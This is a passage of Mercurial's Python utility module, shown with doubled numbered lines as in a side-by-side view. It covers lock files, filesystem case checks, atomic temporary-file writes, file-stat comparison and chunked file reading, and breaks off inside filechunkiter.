1725 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1725 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1726 ld = os.open(pathname, flags)
1726 ld = os.open(pathname, flags)
1727 os.write(ld, info)
1727 os.write(ld, info)
1728 os.close(ld)
1728 os.close(ld)
1729
1729
1730 def readlock(pathname):
1730 def readlock(pathname):
1731 try:
1731 try:
1732 return os.readlink(pathname)
1732 return os.readlink(pathname)
1733 except OSError as why:
1733 except OSError as why:
1734 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1734 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1735 raise
1735 raise
1736 except AttributeError: # no symlink in os
1736 except AttributeError: # no symlink in os
1737 pass
1737 pass
1738 fp = posixfile(pathname, 'rb')
1738 fp = posixfile(pathname, 'rb')
1739 r = fp.read()
1739 r = fp.read()
1740 fp.close()
1740 fp.close()
1741 return r
1741 return r
1742
1742
1743 def fstat(fp):
1743 def fstat(fp):
1744 '''stat file object that may not have fileno method.'''
1744 '''stat file object that may not have fileno method.'''
1745 try:
1745 try:
1746 return os.fstat(fp.fileno())
1746 return os.fstat(fp.fileno())
1747 except AttributeError:
1747 except AttributeError:
1748 return os.stat(fp.name)
1748 return os.stat(fp.name)
1749
1749
1750 # File system features
1750 # File system features
1751
1751
1752 def fscasesensitive(path):
1752 def fscasesensitive(path):
1753 """
1753 """
1754 Return true if the given path is on a case-sensitive filesystem
1754 Return true if the given path is on a case-sensitive filesystem
1755
1755
1756 Requires a path (like /foo/.hg) ending with a foldable final
1756 Requires a path (like /foo/.hg) ending with a foldable final
1757 directory component.
1757 directory component.
1758 """
1758 """
1759 s1 = os.lstat(path)
1759 s1 = os.lstat(path)
1760 d, b = os.path.split(path)
1760 d, b = os.path.split(path)
1761 b2 = b.upper()
1761 b2 = b.upper()
1762 if b == b2:
1762 if b == b2:
1763 b2 = b.lower()
1763 b2 = b.lower()
1764 if b == b2:
1764 if b == b2:
1765 return True # no evidence against case sensitivity
1765 return True # no evidence against case sensitivity
1766 p2 = os.path.join(d, b2)
1766 p2 = os.path.join(d, b2)
1767 try:
1767 try:
1768 s2 = os.lstat(p2)
1768 s2 = os.lstat(p2)
1769 if s2 == s1:
1769 if s2 == s1:
1770 return False
1770 return False
1771 return True
1771 return True
1772 except OSError:
1772 except OSError:
1773 return True
1773 return True
1774
1774
1775 try:
1775 try:
1776 import re2
1776 import re2
1777 _re2 = None
1777 _re2 = None
1778 except ImportError:
1778 except ImportError:
1779 _re2 = False
1779 _re2 = False
1780
1780
1781 class _re(object):
1781 class _re(object):
1782 def _checkre2(self):
1782 def _checkre2(self):
1783 global _re2
1783 global _re2
1784 try:
1784 try:
1785 # check if match works, see issue3964
1785 # check if match works, see issue3964
1786 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1786 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1787 except ImportError:
1787 except ImportError:
1788 _re2 = False
1788 _re2 = False
1789
1789
1790 def compile(self, pat, flags=0):
1790 def compile(self, pat, flags=0):
1791 '''Compile a regular expression, using re2 if possible
1791 '''Compile a regular expression, using re2 if possible
1792
1792
1793 For best performance, use only re2-compatible regexp features. The
1793 For best performance, use only re2-compatible regexp features. The
1794 only flags from the re module that are re2-compatible are
1794 only flags from the re module that are re2-compatible are
1795 IGNORECASE and MULTILINE.'''
1795 IGNORECASE and MULTILINE.'''
1796 if _re2 is None:
1796 if _re2 is None:
1797 self._checkre2()
1797 self._checkre2()
1798 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1798 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1799 if flags & remod.IGNORECASE:
1799 if flags & remod.IGNORECASE:
1800 pat = '(?i)' + pat
1800 pat = '(?i)' + pat
1801 if flags & remod.MULTILINE:
1801 if flags & remod.MULTILINE:
1802 pat = '(?m)' + pat
1802 pat = '(?m)' + pat
1803 try:
1803 try:
1804 return re2.compile(pat)
1804 return re2.compile(pat)
1805 except re2.error:
1805 except re2.error:
1806 pass
1806 pass
1807 return remod.compile(pat, flags)
1807 return remod.compile(pat, flags)
1808
1808
1809 @propertycache
1809 @propertycache
1810 def escape(self):
1810 def escape(self):
1811 '''Return the version of escape corresponding to self.compile.
1811 '''Return the version of escape corresponding to self.compile.
1812
1812
1813 This is imperfect because whether re2 or re is used for a particular
1813 This is imperfect because whether re2 or re is used for a particular
1814 function depends on the flags, etc, but it's the best we can do.
1814 function depends on the flags, etc, but it's the best we can do.
1815 '''
1815 '''
1816 global _re2
1816 global _re2
1817 if _re2 is None:
1817 if _re2 is None:
1818 self._checkre2()
1818 self._checkre2()
1819 if _re2:
1819 if _re2:
1820 return re2.escape
1820 return re2.escape
1821 else:
1821 else:
1822 return remod.escape
1822 return remod.escape
1823
1823
1824 re = _re()
1824 re = _re()
1825
1825
1826 _fspathcache = {}
1826 _fspathcache = {}
1827 def fspath(name, root):
1827 def fspath(name, root):
1828 '''Get name in the case stored in the filesystem
1828 '''Get name in the case stored in the filesystem
1829
1829
1830 The name should be relative to root, and be normcase-ed for efficiency.
1830 The name should be relative to root, and be normcase-ed for efficiency.
1831
1831
1832 Note that this function is unnecessary, and should not be
1832 Note that this function is unnecessary, and should not be
1833 called, for case-sensitive filesystems (simply because it's expensive).
1833 called, for case-sensitive filesystems (simply because it's expensive).
1834
1834
1835 The root should be normcase-ed, too.
1835 The root should be normcase-ed, too.
1836 '''
1836 '''
1837 def _makefspathcacheentry(dir):
1837 def _makefspathcacheentry(dir):
1838 return dict((normcase(n), n) for n in os.listdir(dir))
1838 return dict((normcase(n), n) for n in os.listdir(dir))
1839
1839
1840 seps = pycompat.ossep
1840 seps = pycompat.ossep
1841 if pycompat.osaltsep:
1841 if pycompat.osaltsep:
1842 seps = seps + pycompat.osaltsep
1842 seps = seps + pycompat.osaltsep
1843 # Protect backslashes. This gets silly very quickly.
1843 # Protect backslashes. This gets silly very quickly.
1844 seps.replace('\\','\\\\')
1844 seps.replace('\\','\\\\')
1845 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1845 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1846 dir = os.path.normpath(root)
1846 dir = os.path.normpath(root)
1847 result = []
1847 result = []
1848 for part, sep in pattern.findall(name):
1848 for part, sep in pattern.findall(name):
1849 if sep:
1849 if sep:
1850 result.append(sep)
1850 result.append(sep)
1851 continue
1851 continue
1852
1852
1853 if dir not in _fspathcache:
1853 if dir not in _fspathcache:
1854 _fspathcache[dir] = _makefspathcacheentry(dir)
1854 _fspathcache[dir] = _makefspathcacheentry(dir)
1855 contents = _fspathcache[dir]
1855 contents = _fspathcache[dir]
1856
1856
1857 found = contents.get(part)
1857 found = contents.get(part)
1858 if not found:
1858 if not found:
1859 # retry "once per directory" per "dirstate.walk" which
1859 # retry "once per directory" per "dirstate.walk" which
1860 # may take place for each patches of "hg qpush", for example
1860 # may take place for each patches of "hg qpush", for example
1861 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1861 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1862 found = contents.get(part)
1862 found = contents.get(part)
1863
1863
1864 result.append(found or part)
1864 result.append(found or part)
1865 dir = os.path.join(dir, part)
1865 dir = os.path.join(dir, part)
1866
1866
1867 return ''.join(result)
1867 return ''.join(result)
1868
1868
1869 def checknlink(testfile):
1869 def checknlink(testfile):
1870 '''check whether hardlink count reporting works properly'''
1870 '''check whether hardlink count reporting works properly'''
1871
1871
1872 # testfile may be open, so we need a separate file for checking to
1872 # testfile may be open, so we need a separate file for checking to
1873 # work around issue2543 (or testfile may get lost on Samba shares)
1873 # work around issue2543 (or testfile may get lost on Samba shares)
1874 f1, f2, fp = None, None, None
1874 f1, f2, fp = None, None, None
1875 try:
1875 try:
1876 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1876 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1877 suffix='1~', dir=os.path.dirname(testfile))
1877 suffix='1~', dir=os.path.dirname(testfile))
1878 os.close(fd)
1878 os.close(fd)
1879 f2 = '%s2~' % f1[:-2]
1879 f2 = '%s2~' % f1[:-2]
1880
1880
1881 oslink(f1, f2)
1881 oslink(f1, f2)
1882 # nlinks() may behave differently for files on Windows shares if
1882 # nlinks() may behave differently for files on Windows shares if
1883 # the file is open.
1883 # the file is open.
1884 fp = posixfile(f2)
1884 fp = posixfile(f2)
1885 return nlinks(f2) > 1
1885 return nlinks(f2) > 1
1886 except OSError:
1886 except OSError:
1887 return False
1887 return False
1888 finally:
1888 finally:
1889 if fp is not None:
1889 if fp is not None:
1890 fp.close()
1890 fp.close()
1891 for f in (f1, f2):
1891 for f in (f1, f2):
1892 try:
1892 try:
1893 if f is not None:
1893 if f is not None:
1894 os.unlink(f)
1894 os.unlink(f)
1895 except OSError:
1895 except OSError:
1896 pass
1896 pass
1897
1897
1898 def endswithsep(path):
1898 def endswithsep(path):
1899 '''Check path ends with os.sep or os.altsep.'''
1899 '''Check path ends with os.sep or os.altsep.'''
1900 return (path.endswith(pycompat.ossep)
1900 return (path.endswith(pycompat.ossep)
1901 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1901 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1902
1902
1903 def splitpath(path):
1903 def splitpath(path):
1904 '''Split path by os.sep.
1904 '''Split path by os.sep.
1905 Note that this function does not use os.altsep because this is
1905 Note that this function does not use os.altsep because this is
1906 an alternative of simple "xxx.split(os.sep)".
1906 an alternative of simple "xxx.split(os.sep)".
1907 It is recommended to use os.path.normpath() before using this
1907 It is recommended to use os.path.normpath() before using this
1908 function if need.'''
1908 function if need.'''
1909 return path.split(pycompat.ossep)
1909 return path.split(pycompat.ossep)
1910
1910
1911 def mktempcopy(name, emptyok=False, createmode=None):
1911 def mktempcopy(name, emptyok=False, createmode=None):
1912 """Create a temporary file with the same contents from name
1912 """Create a temporary file with the same contents from name
1913
1913
1914 The permission bits are copied from the original file.
1914 The permission bits are copied from the original file.
1915
1915
1916 If the temporary file is going to be truncated immediately, you
1916 If the temporary file is going to be truncated immediately, you
1917 can use emptyok=True as an optimization.
1917 can use emptyok=True as an optimization.
1918
1918
1919 Returns the name of the temporary file.
1919 Returns the name of the temporary file.
1920 """
1920 """
1921 d, fn = os.path.split(name)
1921 d, fn = os.path.split(name)
1922 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1922 fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1923 os.close(fd)
1923 os.close(fd)
1924 # Temporary files are created with mode 0600, which is usually not
1924 # Temporary files are created with mode 0600, which is usually not
1925 # what we want. If the original file already exists, just copy
1925 # what we want. If the original file already exists, just copy
1926 # its mode. Otherwise, manually obey umask.
1926 # its mode. Otherwise, manually obey umask.
1927 copymode(name, temp, createmode)
1927 copymode(name, temp, createmode)
1928 if emptyok:
1928 if emptyok:
1929 return temp
1929 return temp
1930 try:
1930 try:
1931 try:
1931 try:
1932 ifp = posixfile(name, "rb")
1932 ifp = posixfile(name, "rb")
1933 except IOError as inst:
1933 except IOError as inst:
1934 if inst.errno == errno.ENOENT:
1934 if inst.errno == errno.ENOENT:
1935 return temp
1935 return temp
1936 if not getattr(inst, 'filename', None):
1936 if not getattr(inst, 'filename', None):
1937 inst.filename = name
1937 inst.filename = name
1938 raise
1938 raise
1939 ofp = posixfile(temp, "wb")
1939 ofp = posixfile(temp, "wb")
1940 for chunk in filechunkiter(ifp):
1940 for chunk in filechunkiter(ifp):
1941 ofp.write(chunk)
1941 ofp.write(chunk)
1942 ifp.close()
1942 ifp.close()
1943 ofp.close()
1943 ofp.close()
1944 except: # re-raises
1944 except: # re-raises
1945 try:
1945 try:
1946 os.unlink(temp)
1946 os.unlink(temp)
1947 except OSError:
1947 except OSError:
1948 pass
1948 pass
1949 raise
1949 raise
1950 return temp
1950 return temp
1951
1951
1952 class filestat(object):
1952 class filestat(object):
1953 """help to exactly detect change of a file
1953 """help to exactly detect change of a file
1954
1954
1955 'stat' attribute is result of 'os.stat()' if specified 'path'
1955 'stat' attribute is result of 'os.stat()' if specified 'path'
1956 exists. Otherwise, it is None. This can avoid preparative
1956 exists. Otherwise, it is None. This can avoid preparative
1957 'exists()' examination on client side of this class.
1957 'exists()' examination on client side of this class.
1958 """
1958 """
1959 def __init__(self, stat):
1959 def __init__(self, stat):
1960 self.stat = stat
1960 self.stat = stat
1961
1961
1962 @classmethod
1962 @classmethod
1963 def frompath(cls, path):
1963 def frompath(cls, path):
1964 try:
1964 try:
1965 stat = os.stat(path)
1965 stat = os.stat(path)
1966 except OSError as err:
1966 except OSError as err:
1967 if err.errno != errno.ENOENT:
1967 if err.errno != errno.ENOENT:
1968 raise
1968 raise
1969 stat = None
1969 stat = None
1970 return cls(stat)
1970 return cls(stat)
1971
1971
1972 @classmethod
1972 @classmethod
1973 def fromfp(cls, fp):
1973 def fromfp(cls, fp):
1974 stat = os.fstat(fp.fileno())
1974 stat = os.fstat(fp.fileno())
1975 return cls(stat)
1975 return cls(stat)
1976
1976
1977 __hash__ = object.__hash__
1977 __hash__ = object.__hash__
1978
1978
1979 def __eq__(self, old):
1979 def __eq__(self, old):
1980 try:
1980 try:
1981 # if ambiguity between stat of new and old file is
1981 # if ambiguity between stat of new and old file is
1982 # avoided, comparison of size, ctime and mtime is enough
1982 # avoided, comparison of size, ctime and mtime is enough
1983 # to exactly detect change of a file regardless of platform
1983 # to exactly detect change of a file regardless of platform
1984 return (self.stat.st_size == old.stat.st_size and
1984 return (self.stat.st_size == old.stat.st_size and
1985 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1985 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1986 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1986 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1987 except AttributeError:
1987 except AttributeError:
1988 pass
1988 pass
1989 try:
1989 try:
1990 return self.stat is None and old.stat is None
1990 return self.stat is None and old.stat is None
1991 except AttributeError:
1991 except AttributeError:
1992 return False
1992 return False
1993
1993
1994 def isambig(self, old):
1994 def isambig(self, old):
1995 """Examine whether new (= self) stat is ambiguous against old one
1995 """Examine whether new (= self) stat is ambiguous against old one
1996
1996
1997 "S[N]" below means stat of a file at N-th change:
1997 "S[N]" below means stat of a file at N-th change:
1998
1998
1999 - S[n-1].ctime < S[n].ctime: can detect change of a file
1999 - S[n-1].ctime < S[n].ctime: can detect change of a file
2000 - S[n-1].ctime == S[n].ctime
2000 - S[n-1].ctime == S[n].ctime
2001 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2001 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2002 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2002 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2003 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2003 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2004 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2004 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2005
2005
2006 Case (*2) above means that a file was changed twice or more at
2006 Case (*2) above means that a file was changed twice or more at
2007 same time in sec (= S[n-1].ctime), and comparison of timestamp
2007 same time in sec (= S[n-1].ctime), and comparison of timestamp
2008 is ambiguous.
2008 is ambiguous.
2009
2009
2010 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2010 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2011 timestamp is ambiguous".
2011 timestamp is ambiguous".
2012
2012
2013 But advancing mtime only in case (*2) doesn't work as
2013 But advancing mtime only in case (*2) doesn't work as
2014 expected, because naturally advanced S[n].mtime in case (*1)
2014 expected, because naturally advanced S[n].mtime in case (*1)
2015 might be equal to manually advanced S[n-1 or earlier].mtime.
2015 might be equal to manually advanced S[n-1 or earlier].mtime.
2016
2016
2017 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2017 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2018 treated as ambiguous regardless of mtime, to avoid overlooking
2018 treated as ambiguous regardless of mtime, to avoid overlooking
2019 by confliction between such mtime.
2019 by confliction between such mtime.
2020
2020
2021 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2021 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2022 S[n].mtime", even if size of a file isn't changed.
2022 S[n].mtime", even if size of a file isn't changed.
2023 """
2023 """
2024 try:
2024 try:
2025 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2025 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2026 except AttributeError:
2026 except AttributeError:
2027 return False
2027 return False
2028
2028
2029 def avoidambig(self, path, old):
2029 def avoidambig(self, path, old):
2030 """Change file stat of specified path to avoid ambiguity
2030 """Change file stat of specified path to avoid ambiguity
2031
2031
2032 'old' should be previous filestat of 'path'.
2032 'old' should be previous filestat of 'path'.
2033
2033
2034 This skips avoiding ambiguity, if a process doesn't have
2034 This skips avoiding ambiguity, if a process doesn't have
2035 appropriate privileges for 'path'. This returns False in this
2035 appropriate privileges for 'path'. This returns False in this
2036 case.
2036 case.
2037
2037
2038 Otherwise, this returns True, as "ambiguity is avoided".
2038 Otherwise, this returns True, as "ambiguity is avoided".
2039 """
2039 """
2040 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2040 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2041 try:
2041 try:
2042 os.utime(path, (advanced, advanced))
2042 os.utime(path, (advanced, advanced))
2043 except OSError as inst:
2043 except OSError as inst:
2044 if inst.errno == errno.EPERM:
2044 if inst.errno == errno.EPERM:
2045 # utime() on the file created by another user causes EPERM,
2045 # utime() on the file created by another user causes EPERM,
2046 # if a process doesn't have appropriate privileges
2046 # if a process doesn't have appropriate privileges
2047 return False
2047 return False
2048 raise
2048 raise
2049 return True
2049 return True
2050
2050
2051 def __ne__(self, other):
2051 def __ne__(self, other):
2052 return not self == other
2052 return not self == other
2053
2053
2054 class atomictempfile(object):
2054 class atomictempfile(object):
2055 '''writable file object that atomically updates a file
2055 '''writable file object that atomically updates a file
2056
2056
2057 All writes will go to a temporary copy of the original file. Call
2057 All writes will go to a temporary copy of the original file. Call
2058 close() when you are done writing, and atomictempfile will rename
2058 close() when you are done writing, and atomictempfile will rename
2059 the temporary copy to the original name, making the changes
2059 the temporary copy to the original name, making the changes
2060 visible. If the object is destroyed without being closed, all your
2060 visible. If the object is destroyed without being closed, all your
2061 writes are discarded.
2061 writes are discarded.
2062
2062
2063 checkambig argument of constructor is used with filestat, and is
2063 checkambig argument of constructor is used with filestat, and is
2064 useful only if target file is guarded by any lock (e.g. repo.lock
2064 useful only if target file is guarded by any lock (e.g. repo.lock
2065 or repo.wlock).
2065 or repo.wlock).
2066 '''
2066 '''
2067 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2067 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2068 self.__name = name # permanent name
2068 self.__name = name # permanent name
2069 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2069 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2070 createmode=createmode)
2070 createmode=createmode)
2071 self._fp = posixfile(self._tempname, mode)
2071 self._fp = posixfile(self._tempname, mode)
2072 self._checkambig = checkambig
2072 self._checkambig = checkambig
2073
2073
2074 # delegated methods
2074 # delegated methods
2075 self.read = self._fp.read
2075 self.read = self._fp.read
2076 self.write = self._fp.write
2076 self.write = self._fp.write
2077 self.seek = self._fp.seek
2077 self.seek = self._fp.seek
2078 self.tell = self._fp.tell
2078 self.tell = self._fp.tell
2079 self.fileno = self._fp.fileno
2079 self.fileno = self._fp.fileno
2080
2080
2081 def close(self):
2081 def close(self):
2082 if not self._fp.closed:
2082 if not self._fp.closed:
2083 self._fp.close()
2083 self._fp.close()
2084 filename = localpath(self.__name)
2084 filename = localpath(self.__name)
2085 oldstat = self._checkambig and filestat.frompath(filename)
2085 oldstat = self._checkambig and filestat.frompath(filename)
2086 if oldstat and oldstat.stat:
2086 if oldstat and oldstat.stat:
2087 rename(self._tempname, filename)
2087 rename(self._tempname, filename)
2088 newstat = filestat.frompath(filename)
2088 newstat = filestat.frompath(filename)
2089 if newstat.isambig(oldstat):
2089 if newstat.isambig(oldstat):
2090 # stat of changed file is ambiguous to original one
2090 # stat of changed file is ambiguous to original one
2091 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2091 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2092 os.utime(filename, (advanced, advanced))
2092 os.utime(filename, (advanced, advanced))
2093 else:
2093 else:
2094 rename(self._tempname, filename)
2094 rename(self._tempname, filename)
2095
2095
2096 def discard(self):
2096 def discard(self):
2097 if not self._fp.closed:
2097 if not self._fp.closed:
2098 try:
2098 try:
2099 os.unlink(self._tempname)
2099 os.unlink(self._tempname)
2100 except OSError:
2100 except OSError:
2101 pass
2101 pass
2102 self._fp.close()
2102 self._fp.close()
2103
2103
2104 def __del__(self):
2104 def __del__(self):
2105 if safehasattr(self, '_fp'): # constructor actually did something
2105 if safehasattr(self, '_fp'): # constructor actually did something
2106 self.discard()
2106 self.discard()
2107
2107
2108 def __enter__(self):
2108 def __enter__(self):
2109 return self
2109 return self
2110
2110
2111 def __exit__(self, exctype, excvalue, traceback):
2111 def __exit__(self, exctype, excvalue, traceback):
2112 if exctype is not None:
2112 if exctype is not None:
2113 self.discard()
2113 self.discard()
2114 else:
2114 else:
2115 self.close()
2115 self.close()
2116
2116
2117 def unlinkpath(f, ignoremissing=False, rmdir=True):
2117 def unlinkpath(f, ignoremissing=False, rmdir=True):
2118 """unlink and remove the directory if it is empty"""
2118 """unlink and remove the directory if it is empty"""
2119 if ignoremissing:
2119 if ignoremissing:
2120 tryunlink(f)
2120 tryunlink(f)
2121 else:
2121 else:
2122 unlink(f)
2122 unlink(f)
2123 if rmdir:
2123 if rmdir:
2124 # try removing directories that might now be empty
2124 # try removing directories that might now be empty
2125 try:
2125 try:
2126 removedirs(os.path.dirname(f))
2126 removedirs(os.path.dirname(f))
2127 except OSError:
2127 except OSError:
2128 pass
2128 pass
2129
2129
2130 def tryunlink(f):
2130 def tryunlink(f):
2131 """Attempt to remove a file, ignoring ENOENT errors."""
2131 """Attempt to remove a file, ignoring ENOENT errors."""
2132 try:
2132 try:
2133 unlink(f)
2133 unlink(f)
2134 except OSError as e:
2134 except OSError as e:
2135 if e.errno != errno.ENOENT:
2135 if e.errno != errno.ENOENT:
2136 raise
2136 raise
2137
2137
2138 def makedirs(name, mode=None, notindexed=False):
2138 def makedirs(name, mode=None, notindexed=False):
2139 """recursive directory creation with parent mode inheritance
2139 """recursive directory creation with parent mode inheritance
2140
2140
2141 Newly created directories are marked as "not to be indexed by
2141 Newly created directories are marked as "not to be indexed by
2142 the content indexing service", if ``notindexed`` is specified
2142 the content indexing service", if ``notindexed`` is specified
2143 for "write" mode access.
2143 for "write" mode access.
2144 """
2144 """
2145 try:
2145 try:
2146 makedir(name, notindexed)
2146 makedir(name, notindexed)
2147 except OSError as err:
2147 except OSError as err:
2148 if err.errno == errno.EEXIST:
2148 if err.errno == errno.EEXIST:
2149 return
2149 return
2150 if err.errno != errno.ENOENT or not name:
2150 if err.errno != errno.ENOENT or not name:
2151 raise
2151 raise
2152 parent = os.path.dirname(os.path.abspath(name))
2152 parent = os.path.dirname(os.path.abspath(name))
2153 if parent == name:
2153 if parent == name:
2154 raise
2154 raise
2155 makedirs(parent, mode, notindexed)
2155 makedirs(parent, mode, notindexed)
2156 try:
2156 try:
2157 makedir(name, notindexed)
2157 makedir(name, notindexed)
2158 except OSError as err:
2158 except OSError as err:
2159 # Catch EEXIST to handle races
2159 # Catch EEXIST to handle races
2160 if err.errno == errno.EEXIST:
2160 if err.errno == errno.EEXIST:
2161 return
2161 return
2162 raise
2162 raise
2163 if mode is not None:
2163 if mode is not None:
2164 os.chmod(name, mode)
2164 os.chmod(name, mode)
2165
2165
2166 def readfile(path):
2166 def readfile(path):
2167 with open(path, 'rb') as fp:
2167 with open(path, 'rb') as fp:
2168 return fp.read()
2168 return fp.read()
2169
2169
2170 def writefile(path, text):
2170 def writefile(path, text):
2171 with open(path, 'wb') as fp:
2171 with open(path, 'wb') as fp:
2172 fp.write(text)
2172 fp.write(text)
2173
2173
2174 def appendfile(path, text):
2174 def appendfile(path, text):
2175 with open(path, 'ab') as fp:
2175 with open(path, 'ab') as fp:
2176 fp.write(text)
2176 fp.write(text)
2177
2177
2178 class chunkbuffer(object):
2178 class chunkbuffer(object):
2179 """Allow arbitrary sized chunks of data to be efficiently read from an
2179 """Allow arbitrary sized chunks of data to be efficiently read from an
2180 iterator over chunks of arbitrary size."""
2180 iterator over chunks of arbitrary size."""
2181
2181
2182 def __init__(self, in_iter):
2182 def __init__(self, in_iter):
2183 """in_iter is the iterator that's iterating over the input chunks."""
2183 """in_iter is the iterator that's iterating over the input chunks."""
2184 def splitbig(chunks):
2184 def splitbig(chunks):
2185 for chunk in chunks:
2185 for chunk in chunks:
2186 if len(chunk) > 2**20:
2186 if len(chunk) > 2**20:
2187 pos = 0
2187 pos = 0
2188 while pos < len(chunk):
2188 while pos < len(chunk):
2189 end = pos + 2 ** 18
2189 end = pos + 2 ** 18
2190 yield chunk[pos:end]
2190 yield chunk[pos:end]
2191 pos = end
2191 pos = end
2192 else:
2192 else:
2193 yield chunk
2193 yield chunk
2194 self.iter = splitbig(in_iter)
2194 self.iter = splitbig(in_iter)
2195 self._queue = collections.deque()
2195 self._queue = collections.deque()
2196 self._chunkoffset = 0
2196 self._chunkoffset = 0
2197
2197
2198 def read(self, l=None):
2198 def read(self, l=None):
2199 """Read L bytes of data from the iterator of chunks of data.
2199 """Read L bytes of data from the iterator of chunks of data.
2200 Returns less than L bytes if the iterator runs dry.
2200 Returns less than L bytes if the iterator runs dry.
2201
2201
2202 If size parameter is omitted, read everything"""
2202 If size parameter is omitted, read everything"""
2203 if l is None:
2203 if l is None:
2204 return ''.join(self.iter)
2204 return ''.join(self.iter)
2205
2205
2206 left = l
2206 left = l
2207 buf = []
2207 buf = []
2208 queue = self._queue
2208 queue = self._queue
2209 while left > 0:
2209 while left > 0:
2210 # refill the queue
2210 # refill the queue
2211 if not queue:
2211 if not queue:
2212 target = 2**18
2212 target = 2**18
2213 for chunk in self.iter:
2213 for chunk in self.iter:
2214 queue.append(chunk)
2214 queue.append(chunk)
2215 target -= len(chunk)
2215 target -= len(chunk)
2216 if target <= 0:
2216 if target <= 0:
2217 break
2217 break
2218 if not queue:
2218 if not queue:
2219 break
2219 break
2220
2220
2221 # The easy way to do this would be to queue.popleft(), modify the
2221 # The easy way to do this would be to queue.popleft(), modify the
2222 # chunk (if necessary), then queue.appendleft(). However, for cases
2222 # chunk (if necessary), then queue.appendleft(). However, for cases
2223 # where we read partial chunk content, this incurs 2 dequeue
2223 # where we read partial chunk content, this incurs 2 dequeue
2224 # mutations and creates a new str for the remaining chunk in the
2224 # mutations and creates a new str for the remaining chunk in the
2225 # queue. Our code below avoids this overhead.
2225 # queue. Our code below avoids this overhead.
2226
2226
2227 chunk = queue[0]
2227 chunk = queue[0]
2228 chunkl = len(chunk)
2228 chunkl = len(chunk)
2229 offset = self._chunkoffset
2229 offset = self._chunkoffset
2230
2230
2231 # Use full chunk.
2231 # Use full chunk.
2232 if offset == 0 and left >= chunkl:
2232 if offset == 0 and left >= chunkl:
2233 left -= chunkl
2233 left -= chunkl
2234 queue.popleft()
2234 queue.popleft()
2235 buf.append(chunk)
2235 buf.append(chunk)
2236 # self._chunkoffset remains at 0.
2236 # self._chunkoffset remains at 0.
2237 continue
2237 continue
2238
2238
2239 chunkremaining = chunkl - offset
2239 chunkremaining = chunkl - offset
2240
2240
2241 # Use all of unconsumed part of chunk.
2241 # Use all of unconsumed part of chunk.
2242 if left >= chunkremaining:
2242 if left >= chunkremaining:
2243 left -= chunkremaining
2243 left -= chunkremaining
2244 queue.popleft()
2244 queue.popleft()
2245 # offset == 0 is enabled by block above, so this won't merely
2245 # offset == 0 is enabled by block above, so this won't merely
2246 # copy via ``chunk[0:]``.
2246 # copy via ``chunk[0:]``.
2247 buf.append(chunk[offset:])
2247 buf.append(chunk[offset:])
2248 self._chunkoffset = 0
2248 self._chunkoffset = 0
2249
2249
2250 # Partial chunk needed.
2250 # Partial chunk needed.
2251 else:
2251 else:
2252 buf.append(chunk[offset:offset + left])
2252 buf.append(chunk[offset:offset + left])
2253 self._chunkoffset += left
2253 self._chunkoffset += left
2254 left -= chunkremaining
2254 left -= chunkremaining
2255
2255
2256 return ''.join(buf)
2256 return ''.join(buf)
2257
2257
2258 def filechunkiter(f, size=131072, limit=None):
2258 def filechunkiter(f, size=131072, limit=None):
2259 """Create a generator that produces the data in the file size
2259 """Create a generator that produces the data in the file size
2260 (default 131072) bytes at a time, up to optional limit (default is
2260 (default 131072) bytes at a time, up to optional limit (default is
2261 to read all data). Chunks may be less than size bytes if the
2261 to read all data). Chunks may be less than size bytes if the
2262 chunk is the last chunk in the file, or the file is a socket or
2262 chunk is the last chunk in the file, or the file is a socket or
2263 some other type of file that sometimes reads less data than is
2263 some other type of file that sometimes reads less data than is
2264 requested."""
2264 requested."""
2265 assert size >= 0
2265 assert size >= 0
2266 assert limit is None or limit >= 0
2266 assert limit is None or limit >= 0
2267 while True:
2267 while True:
2268 if limit is None:
